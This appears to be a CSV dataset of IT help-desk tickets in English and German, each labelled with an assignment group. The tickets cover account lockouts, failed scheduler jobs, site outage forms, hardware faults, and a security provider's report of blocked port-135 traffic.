job_scheduler at: 08/23/2016 03:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_495 failed in job_scheduler at: 08/23/2016 03:30:00",GRP_8 +r216 maus defekt r216 maus defekt,GRP_33 +pc an reinecker wzs60 wahrscheinlich defekt. maschine steht. pc an reinecker wzs60 wahrscheinlich defekt. maschine steht.,GRP_33 +erp SID_34 account locked. erp SID_34 account locked.,GRP_0 +outlook is prompting for password outlook is prompting for password ,GRP_0 +drucker geht nach tonerwechsel nicht mehr drucker geht nach tonerwechsel nicht mehr,GRP_33 +"job Job_2662 failed in job_scheduler at: 08/23/2016 02:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2662 failed in job_scheduler at: 08/23/2016 02:46:00",GRP_18 +lüfter defekt \rechner für videoüberwachung lüfter defekt \rechner für videoüberwachung,GRP_24 +usb keybankr/monitor requested for usb keybankrd and external monitor for new desk space.,GRP_19 +"user cwfzldts dlmukhyn cannot create purchasing requistions out of punch out catalogues he get the error ""documenttype no available for backend system"" see attached error messages in purchasing_x000D_ +for other users it works. seems to be something in his usersettings.",GRP_29 +setup rechner ewew8323869 \wrcktgbd wzrgyunp setup rechner ewew8323869 \wrcktgbd wzrgyunp,GRP_24 +"ich benötige netzwerkkabel für den teleservice bei roboworker. hallo herr bghakch,_x000D_ +ich benötige netzwerkkabel für den teleservice bei roboworker._x000D_ +benötigt werden 3x 10m und 3x 5m die dauerhaft angeschlossen bleiben._x000D_ +_x000D_ +",GRP_24 +probleme mit lan ín beschprechungsraum \puxsvfwr cwkjruni probleme mit lan ín beschprechungsraum \puxsvfwr cwkjruni,GRP_24 +account names not seems on crm i have issue when i try to create oppurtunities on crm. i didn't see any account name. normally it's working on connect and engineering_tool. please help to solve this issue. ,GRP_40 +"conversion issue with the drawing nxd/71880207/000/00 1.) only pdf got converted and accessible, model and dxf are not accesible_x000D_ +_x000D_ +",GRP_0 +"attendance_tool issue _x000D_ +_x000D_ +received from: ufgkybsh.ijswtdve@gmail.com_x000D_ +_x000D_ +dear sir/mam,_x000D_ +_x000D_ +i am facing issue with attendance_tool . the following message is showing and it is not showing in single sign in portal also._x000D_ +_x000D_ +kindly help me to resolve the issue._x000D_ +_x000D_ +[cid:image001.jpg@01d1fd31.c82afba0][cid:image002.jpg@01d1fd31.c82afba0]_x000D_ +_x000D_ +",GRP_0 +account locked in ad account locked in ad,GRP_0 +"after changing my login id password in password_management_tool password manger, which was successful. i restarted my system, outlook/sky name:wnorzsyv mdflqwxg +language: +browser:microsoft internet explorer +email:wnorzsyv.mdflqwxg@gmail.com +customer number: +telephone: +summary:after changing my login id password in password_management_tool password manger, which was successful. i restarted my system, outlook/skype is popping up with password request but not logging in",GRP_0 +unable to send or receive email unable to send or receive email ,GRP_0 +windows account locked windows account locked ,GRP_0 +unable to login into attendance_tool i am unable to login to attendance_tool using single logon portal link.,GRP_0 +"job Job_3028 failed in job_scheduler at: 08/23/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/23/2016 00:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/23/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/23/2016 00:02:00",GRP_12 +"job Job_3028 failed in job_scheduler at: 08/23/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/23/2016 00:02:00",GRP_8 +"job hr_tooldplcmmaninp failed in job_scheduler at: 08/23/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_tooldplcmmaninp failed in job_scheduler at: 08/23/2016 00:02:00",GRP_8 +windows account locked windows account locked ,GRP_0 +unable to login to engineering tool unable to login to engineering tool,GRP_0 +unable to open outlook unable to open outlook ,GRP_0 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +"awyw7217971 + +received from: utgszjrf.pacfvxzk@gmail.com + +please attend the below mentioned problem at the earliest. + +system name : awyw8328082 +user name : talagrtymr +problem: display not coming on monitor, system is getting on and off continiously + +best ",GRP_19 +"microsoft office software have problem, couldn't access link and pop up warning of ""computer limitation"" contact phone: +86 +system: windows 7 +error messages: please refer to attachment",GRP_0 +"shipping notification _x000D_ +_x000D_ +received from: bfckamsg.tzdkbmfe@gmail.com_x000D_ +_x000D_ +hi it help_x000D_ +would you please help set the email of shipping notification for customer 81032999. ",GRP_18 +"network outage :: company-eu-che-company-switzerland-2-dmvpn-1811-rtr01(no backup) :: since # 8/22/2016 9:35 pm est what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __na_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________8/22/2016 9:35 pm est______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _____no__ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______no____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __na_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ___________swisscom______________ _x000D_ +_x000D_ +12. notified gsc ___yes_____ (yes/no/na) cert started ?_____naa___ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/22/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/22/2016 22:02:00",GRP_45 +"ksem / wzs60 / m1 (m07.15360) pc defekt, ist selbstständig runter gefahren und lässt sich nicht mehr starten._x000D_ +bitte um erledigung durch m. himghtmelreich",GRP_33 +advanced search does not use the material field on the form the same set of results is returned regardless if leaving the field blank or selecting any material.,GRP_25 +"not able to open jpg image files. _x000D_ +_x000D_ +received from: ulroqsyf.wctpnarb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to open jpg image files on my pc._x000D_ +pl. help._x000D_ +_x000D_ +",GRP_0 +lorw8327797sf(usa robot):outlook did not complete on time had to be kirtyled alert in reporting_tool since 08/22 12:59 pm et lorw8327797sf(usa robot):outlook did not complete on time had to be kirtyled alert in reporting_tool since 08/22 12:59 pm et,GRP_8 +"job Job_1953d failed in job_scheduler at: 08/22/2016 18:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953d failed in job_scheduler at: 08/22/2016 18:03:00",GRP_8 +"job Job_1953d :was running longer than 30 minutes received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953d failed in job_scheduler at: 08/22/2016 18:03:00",GRP_6 +"usa has 2 unresolved mii password lockouts-employees got ""user authentication failed"" error-cannot confirm production hi all, + +we had 3-4 occurences where people got a ""user authentication failed"" error: + +1) tortm hortl (howthrelte) +2) yqxlbswt eimhxowu (tnhymatj) - unresolved +3) ligsnzur smcxerwk (grargtfl) - unresolved + +could you please check the root cause and unlock the operators' passwords so they can log into mii and report production + +for lee, we were able to get through to password_management_tool and unlock the password – he will try in 20 mins to see if it works + +for the others, i got a ""failed to verify password on active directory"" error when we tried to get into password_management_tool +it helped unlock tony's password but we got the same error after 30 minutes + + + +i was only able to resolve tortm hortl's password issue before the end of the shift. + +",GRP_0 +"job hr_tooldplcmmaninp failed in job_scheduler at: 08/22/2016 17:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_tooldplcmmaninp failed in job_scheduler at: 08/22/2016 17:07:00",GRP_6 +"dell 7350: blue screen error.urgent dell 7350: blue screen error +-user has tried to recover and safe mode and restart , all the 3 opetions done help. +-service tag: 80sjv32 +-asset tag: 405429 +-os: win 8.1 +-c: ",GRP_3 +unable to launch outlook unable to launch outlook,GRP_0 +distributor_tool page error distributor_tool page error,GRP_0 +"did we send out automatic erp gui upgrade name:stefdgthyo +language: +browser:microsoft internet explorer +email:ejpvuxrg.tryaibcx@gmail.com +customer number: +telephone:+1 +summary:did we send out automatic erp gui upgrade?",GRP_0 +"network outage :india, india - (company) hard down since 1:17 pm on 08/22 et what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____1:17 pm on 08/22 et__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __na_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __na_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____na___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____na_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____na____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"vpn connection issues. vpn connection issues._x000D_ +-connected to the user system using teamviewer._x000D_ +-changed the default browser ._x000D_ +-advised the caller to logon to the company vpn._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved._x000D_ +",GRP_0 +"job HostName_1019fail2 failed in job_scheduler at: 08/22/2016 15:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail2 failed in job_scheduler at: 08/22/2016 15:45:00",GRP_8 +mobile device activation for the new iphone mobile device activation for the new iphone,GRP_0 +"decimal values in ""daily qty confirmed"" usa plant, work center preeco showing 4840.1 in mentioned field_x000D_ +_x000D_ +for reference:_x000D_ +_x000D_ +collaboration_platform:#decimal%20values%20in%20%22daily%20qty%20confirmed%22§ion-id={b02cc616-a796-4ab6-bc94-98de524924ae}&page-id={f3cce32e-bc9f-426d-a364-92434990ca0f}&end",GRP_41 +"otd to frozen date alert issue in supervisor dashbankrd the ""otd to frozen date"" alert is not populating correctly_x000D_ +_x000D_ +for reference:_x000D_ +_x000D_ +collaboration_platform:#re%20otd%20to%20frozen%20date%20alert§ion-id={b02cc616-a796-4ab6-bc94-98de524924ae}&page-id={aa19plant_19-415f-43de-90ac-dac4af090b67}&end",GRP_41 +"setup time not calculated properly email from kanchi (usa) on how confirmation times are calculated in mii. _x000D_ +_x000D_ +in one example kahrthyeui found out that mii was using work center or factory calendar (excluding weekend time from calculation) but in other cases it was not. _x000D_ +_x000D_ +more details on page _x000D_ +_x000D_ +_x000D_ +collaboration_platform:#re%20time%20calculations%20in%20erp%20/%20mii§ion-id={b02cc616-a796-4ab6-bc94-98de524924ae}&page-id={e2181c91-05d2-418e-999a-1475f818a343}&end",GRP_41 +"global erp crm: please investigate why agbighyail espinosa's employee account in erp crm is not recognized as an employee global erp crm: please investigate why agbighyail espinosa's employee account in erp crm is not recognized as an employee. please refer to the screenshots in the attached email. wdkaoneh unqlarpk is an employee, but her employee account in erp crm is not displayed if you search using ""role is employee"". you can only find her employee account in erp crm if you don't specify ""role is employee"".",GRP_15 +"can't search work center # in machine # field in collective confirmation (header level) erp-mii_x000D_ +_x000D_ +we can search machine numbers by typing work center numbers in the pop up box of machine field. this works in time event and normal confirmation but does not work in collective header level",GRP_41 +"job HostName_1019fail1 failed in job_scheduler at: 08/22/2016 15:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail1 failed in job_scheduler at: 08/22/2016 15:00:00",GRP_8 +"cannot change in conditions tab _x000D_ +_x000D_ +received from: nuhfwplj.ojcwxser@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +it appears i don't have access to change any values in the conditions tab. please review for the issue, as i need to complete this quote and convert to usd/kg instead of rub/kg._x000D_ +_x000D_ +[cid:image001.png@01d1fc7d.3c4918b0]_x000D_ +_x000D_ +_x000D_ +",GRP_13 +reset passwords for pzjelyxg vstyaouc using password_management_tool password reset. the,GRP_17 +ticket update on ticket_no0432805 ticket update on ticket_no0432805,GRP_0 +"quadra chek pc in the eaymvrzj bumzwtco will not start, power is connected but nthing when button is pressed. quadra chek pc in the eaymvrzj bumzwtco will not start, power is connected but nthing when button is pressed.",GRP_3 +"collaboration_platform site ownership _x000D_ +_x000D_ +received from: unrbafjx.reyshakw@gmail.com_x000D_ +_x000D_ +hello it help,_x000D_ +_x000D_ +since the owner has left the company, please reallocate the ownership of this subsite to my name. ",GRP_16 +vip 2 // unable to open any files from collaboration_platform stdezpqw bkmeuhfz has never been able to open any kind of files from collaboration_platform. it keeps on asking her for email address and password and even after entering it keeps coming back.,GRP_16 +"cannot access to company collaboration_platform _x000D_ +_x000D_ +received from: zywoxerf.paqxtrfk@gmail.com_x000D_ +_x000D_ +dear it:_x000D_ +i either cannot access to company collaboration_platform or after the ""company collaboration_platform"" page stuck at a blank page of ""outlook.office365.com"" as shown below._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1fc73.23ca3cb0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"erp order acknowledgement weight difference _x000D_ +_x000D_ +received from: nuhfwplj.ojcwxser@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please review the quantity on the attached order acknowledgement._x000D_ +in the quantity column the weight of 4.536 kg is correct._x000D_ +in the description field the qty is 3.000 kg. this is incorrect._x000D_ +correct the quantity value to be 4.536 kg in both areas._x000D_ +_x000D_ +",GRP_13 +unable to load collaboration_platform unable to load collaboration_platform,GRP_0 +india company: tcl circuit intermittently flapping since at 12:50 pm est on 08/22. site is active on primary. intermittent flap in tcl link.. tcl#3740oc220816.,GRP_4 +"having to approve the same credit memo several times. please review the approver level for stefyty ross (director of sales). at times, i am having to approve the same credit memo 2 to 3 times in workflow. this should not be happening. ",GRP_13 +unable to login to the replacement laptop as its showing no connection to server. unable to login to the replacement laptop as its showing no connection to server. ,GRP_0 +"job Job_1374 failed in job_scheduler at: 08/22/2016 13:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1374 failed in job_scheduler at: 08/22/2016 13:06:00",GRP_9 +account locked account locked ,GRP_0 +"skype connectivity is flickering: automatically signout and signing in back. no sfb online outage from server end. network team,_x000D_ +_x000D_ +kindly look into the below issue:_x000D_ +_x000D_ +skype connectivity is flickering: automatically sign-out and signing in back. no sfb online outage from office 365 server end._x000D_ +_x000D_ +issue is with multiple user. kindly keep the ticket priority as sev 3 till the issue is resolved._x000D_ +",GRP_4 +"unable access - net weaver _x000D_ +_x000D_ +received from: rhwvpmlq.zuwhpqrc@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +i am unable to access the below . kindly do the needful._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1fcc3.37c4c640]_x000D_ +_x000D_ +",GRP_0 +team sproc is not assigning indirect revenue the tam sproc is incorrectly inner joining previous ytd revenue when it should be left joining so that it wont result in an empty result set if there is no previous revenue (aka the first period of a financial_toolcal year),GRP_25 +"pikosa cannot log into work station hello,_x000D_ +xepcsrvh tbsokfyl for several days cannot log into her workstation, because telephony_software says it is used, but does not specify by whom (screenshot in the attachment). the station she wants to log into is hers and she had always used. please advise.",GRP_7 +"download drawing response is error even though a succesful email is received when i send the input to download a drawing, i always get a reply ""email not sent"" but i still get the email. for example, below input _x000D_ +_x000D_ + {_x000D_ + ""i_mail_inputs"":_x000D_ + {_x000D_ + ""sales_doc"":"""",_x000D_ + ""delivery_doc"":"""",_x000D_ + ""billing_doc"":"""",_x000D_ + ""purchasing_doc"":"""",_x000D_ + ""pur_sch_agr"":"""",_x000D_ + ""mat_drawing"":""x"",_x000D_ + ""doc_num"":""3115968804"",_x000D_ + ""language"":""e"",_x000D_ + ""mail_id"":""tskwevno.sjhpoakl@gmail.com"",_x000D_ + ""download_flag"":""""_x000D_ + }_x000D_ + }_x000D_ +_x000D_ +the document number has a special material in it which has a pdf drawing. when i send the above input, i expect it sends email and it definitely sends the email fine. however, the reply i get from erp always is ""email not sent"" which does not make sense as i do get the email._x000D_ +important – the downloading of file to ftp site works fine. it is just not returning a valid message even when it successfully send the email._x000D_ +",GRP_20 +unable to login to erp SID_34 unable to login to erp SID_34,GRP_0 +"network outage :kingston, pa :site is hard down since at 10:19 am et on 08/22.no backup what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______10:19 am et on 08/22________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +"circuit outage:usa, nv - divestiture site:secondary circuit is down since at 10:23 am et on 08/22.primary is up. what type of outage: _____network _x____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______10:23 am et on 08/22________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"emails + +received from: raifstow.gfeymtql@gmail.com + +hello, + +i need 4 email account tabs removed from my main email and then 2 new ones added. + +needs to be removed: +k-hntl usa-grind +w-hntl usa-grind +k-na westcoast rrc +w-na westcoast rrc + + +ones to be added: +w-rckf.grind@company.com +w-rckf.grind@company.com + + +",GRP_0 +"circuit outage:vogelfontein, south africa , sa secondary circuit is down since at 5:41 am et on 08/22.primary circuit is up. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___5:41 am et on 08/22___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____email_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"roadking features the features on the road king page are not expanding. on click, there is a div container that is supposed to open up and show additional content. this is no longer working._x000D_ +_x000D_ +page:_x000D_ +_x000D_ +_x000D_ +_x000D_ +see screenshot attached.",GRP_51 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"probleme mit vpn client _x000D_ +_x000D_ +received from: fmhlugqk.dpraethi@gmail.com_x000D_ +_x000D_ +hallo meine herren,_x000D_ +_x000D_ +ich kann unsere vpn nicht benutzen._x000D_ +folgende fehlermeldungen habe ich bekommen:_x000D_ +_x000D_ +2mal kommt diese:_x000D_ +[cid:image001.png@01d1fc9a.c5af05c0]_x000D_ +_x000D_ +bei dritte probieren:_x000D_ +[cid:image002.png@01d1fc9a.c5af05c0]_x000D_ +_x000D_ +benutzername und kennwort war in ordnung._x000D_ +bitte es kontrollieren und lösen._x000D_ +_x000D_ +danke_x000D_ +_x000D_ +üdvözlettel / mit freundlichen grüßen / best ",GRP_0 +unable to log in to erp SID_34 unable to log in to erp SID_34,GRP_0 +"require access to canadian legal reporting website...thank you in advance! + +received from: wznkpjis.rantlypb@gmail.com + +[cid:image001.png@01d1fc62.e2977201] + +wznkpjis rantlypb, b.sc., tsrp +sr. ehs analyst +wznkpjis.rantlypb@gmail.com +",GRP_0 +user not able to connect to t drive user not able to connect to t drive ,GRP_0 +"request to reset microsoft online services password for aedzqlvj.mkosyxgh@gmail.com _x000D_ +_x000D_ +from: nwfodmhc exurcwkm _x000D_ +sent: monday, august 22, 2016 3:21 pm_x000D_ +to: bmhxwvys tdmgolwn_x000D_ +cc: tiyhum kuyiomar_x000D_ +subject: re: sabrthy request to reset microsoft online services password for bmhxwvys.tdmgolwn@gmail.com_x000D_ +_x000D_ +hi suhrhtyju,_x000D_ +_x000D_ +please reset your password in _x000D_ +_x000D_ +_x000D_ +",GRP_34 +collaboration_platform issue collaboration_platform issue,GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +" request to reset microsoft online services password for bmhxwvys.tdmgolwn@gmail.com _x000D_ +_x000D_ +from: nwfodmhc exurcwkm _x000D_ +sent: monday, august 22, 2016 3:21 pm_x000D_ +to: bmhxwvys tdmgolwn_x000D_ +cc: tiyhum kuyiomar_x000D_ +subject: re: sabrthy request to reset microsoft online services password for bmhxwvys.tdmgolwn@gmail.com_x000D_ +_x000D_ +hi suhrhtyju,_x000D_ +_x000D_ +please reset your password in _x000D_ +_x000D_ +_x000D_ +",GRP_0 +"skype calls not working _x000D_ +_x000D_ +received from: pyrtfdxu.nxfkqmoy@gmail.com_x000D_ +_x000D_ +i can't make a skype call through my pc. i can't hear them and they can't hear me._x000D_ +_x000D_ +",GRP_0 +"logon missing in erp name:mitctdrh whaley +language: +browser:microsoft internet explorer +email:trhuymvb.egpcwrkj@gmail.com +customer number: +telephone: +summary:erp issue, cant login! login not available",GRP_0 +"symantec software message _x000D_ +_x000D_ +received from: doxmlcpr.xjheyscu@gmail.com_x000D_ +_x000D_ +hi,_x000D_ + please see attached symantec message i keep getting every time a switch my lap top on._x000D_ +_x000D_ +",GRP_0 +windows account lockout windows account lockout,GRP_0 +unable to boot system to windows unable to boot system to windows,GRP_0 +netweaver password is not working. netweaver password is not working.,GRP_0 +bluetooth mouse is not working. bluetooth mouse is not working.,GRP_0 +unable to login past see unable to login past see,GRP_0 +"security incidents - ( dsw incident no ) : suspicious ms-rpc/ms-ds/netbios activity - HostName_1089 ======================== +incident overview +========================= +we have detected at least 114 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName_1089/41.53.25.402 and destined to port 135 of one or more destination devices. this activity may indicate one of the following: + 1. an infection on this host + 2. a misconfigured firewall + 3. a misconfigured host + 4. port scan (authorized or unauthorized) + +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . + +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call)) +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal) + +sincerely, +secureworks soc + +========================= +technical details +========================= +historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include: +-w32.blaster.worm/msblast/lovsan +-w32.welchia/nachi +-w32.reatle + +port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service + +port 137 - netbios netbios name service + +port 138 - netbios netbios datagramdnty service + +port 139 - netbios netbios session service + +port 445 - microsoft-ds smb file sharing + +additional information on these ports and best practices can be found at the following sites: + + + + + + + + +========================= +references +========================= + + + + + + + + + +========================= +event data +========================= +related events: +event id: 307897058 +event summary: internal outbreak for 135/tcp +occurrence count: 114 +event count: 1 + +host and connection information +source ip: 41.53.25.402 +source hostname: HostName_1089 +source port: 57257 +destination hostname: apusm014 +destination port: 135 +connection directionality: internal +protocol: tcp + +device information +device ip: 18.79.63.203 +device name: company-internal-asa.company.com-1 +log time: 2016-08-21 at 00:15:40 utc +action: blocked +cvss score: -1 + +scwx event processing information +sherlock rule id (sle): 537074 +inspector rule id: 186739 +inspector event id: 042405443 +ontology id: 200020003203009144 +event type id: 200020003203009044 +agent id: 103611 + +event detail: +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57257 to 10.44.23.31/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57258 to 12.41.82.8126/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57418 to 14.63.28.418/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57427 to 47.92.04.2434/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57421 to 28.04.06.289/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57477 to 45.34.25.3417/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57478 to 51.25.46.284/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57260 to 10.16.14.113/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57259 to 70.87.83.79245/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57261 to 37.10.37.1764/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57262 to 72.37.71.786/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57263 to 10.16.114.16/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57264 to 54.72.31.824/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57265 to 96.78.23.4576/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57442 to 93.47.24.501/135 flags syn on interface inside +aug 21 00:15:40 18.79.63.203 %asa-2-106001: inbound tcp connection denied from 41.53.25.402/57447 to 63.96.56.492/135 flags syn on interface inside",GRP_12 +downgrade to ie10 downgrade to ie10,GRP_0 +ess password reset ess password reset,GRP_0 +"warehouse_tool quality issues when high link utlization at usa warehouse_tool quality issues when high link utilization at usa, ",GRP_4 +account locked out account locked out,GRP_0 +blank call // gso blank call // gso,GRP_0 +unable to connect to wifi unable to connect to wifi,GRP_0 +monitor orientation error monitor orientation error,GRP_0 +company owned iphone stolen company owned iphone stolen,GRP_0 +microsoft password reset microsoft password reset ,GRP_0 +"qlhmawgi sgwipoxn password not working name:inhekdol anvqzdif +language: +browser:microsoft internet explorer +email:inhekdol.anvqzdif@gmail.com +customer number: +telephone:x2231 +summary:please call aerp. spengineering toolometer computer is down. no foundry posrt floor samples can be analyzed. will have to shut down posrting floor. critical!",GRP_0 +please get some ramdnty for me. please get some ramdnty for me. ,GRP_3 +etime is not working etime is not working,GRP_3 +please check josh's % in the phones please check josh's % in the phones,GRP_3 +setup access for ethics setup access for ethics,GRP_0 +server migration germany - we are not able to access any files in folder ce_cs at the new server server migration germany - we are not able to access any files in folder ce_cs at the new server,GRP_0 +"security incidents - ( #in33669678 ) : possible tor activity - source: android-802d0edc4e509a9 source ip: 